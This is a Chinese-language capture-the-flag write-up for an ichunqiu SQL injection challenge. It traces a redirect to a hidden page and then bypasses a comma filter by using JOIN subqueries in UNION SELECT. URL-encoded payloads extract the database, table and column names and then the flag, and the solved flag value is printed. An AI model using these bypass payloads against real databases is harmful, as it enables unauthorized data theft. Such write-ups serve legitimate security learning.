SQLi

点进去发现是个空白网页,查看源码发现一个login.php的文件,话不多说,直接选择复制然后访问

Url:

http://5865f5830d034083b9bbc0dafc6b60a5d5d23099e81b4f63.changame.ichunqiu.com/login.php?id=1

页面显示:welcome admin~,再看看源码,没什么可用的,抓包试试,也没发现什么可用的信息,试试直接注入。。。。不行

搜了一下,原来网页一开始就发生了页面跳转

当我们第一次访问loading界面时就跳转了,这里抓包就记录了下来

发现了一个302的数据包

查看response

发现了另一个网页,将其打开

好熟悉的界面,标题是尝试跳过,不管了,注入试试

使用1’,1”,1’#,1”#....没用,尝试直接输入union select 1,2,3发现正常返回了,可能union或则select被过滤了,让id等于unionselect,发现都正常返回了,再试试1,2,3发现返回1,试试abc,dfg返回abc,很明显 , 连带其后的内容被过滤了

这里使用一种join的方法绕过

构造payload

查数据库名:

?id=-1%27union%20select%20*%20from%20(select%20database())%20a%20join%20(select%202)%20b%20%23

查表名:

?id=-1%27union%20select%20*%20from%20(select%20group_concat(table_name) from information_schema.tables where table_schema = %27sqli%27

)%20a%20join%20(select%202)%20b%20%23

查列:

?id=-1%27union%20select%20*%20from%20(select%20group_concat(column_name)from information_schema.columns where table_name = 'users'

)%20a%20join%20(select%202)%20b%20%23

查信息:

?id=-1%27union%20select%20*%20from%20(select%20group_concat(flag_9c861b688330) from users)%20a%20join%20(select%202)%20b%20%23

得到flag{fbe03565-cd65-41b9-9951-1d03dbd0f10b}

原文地址:https://www.cnblogs.com/wosun/p/11241060.html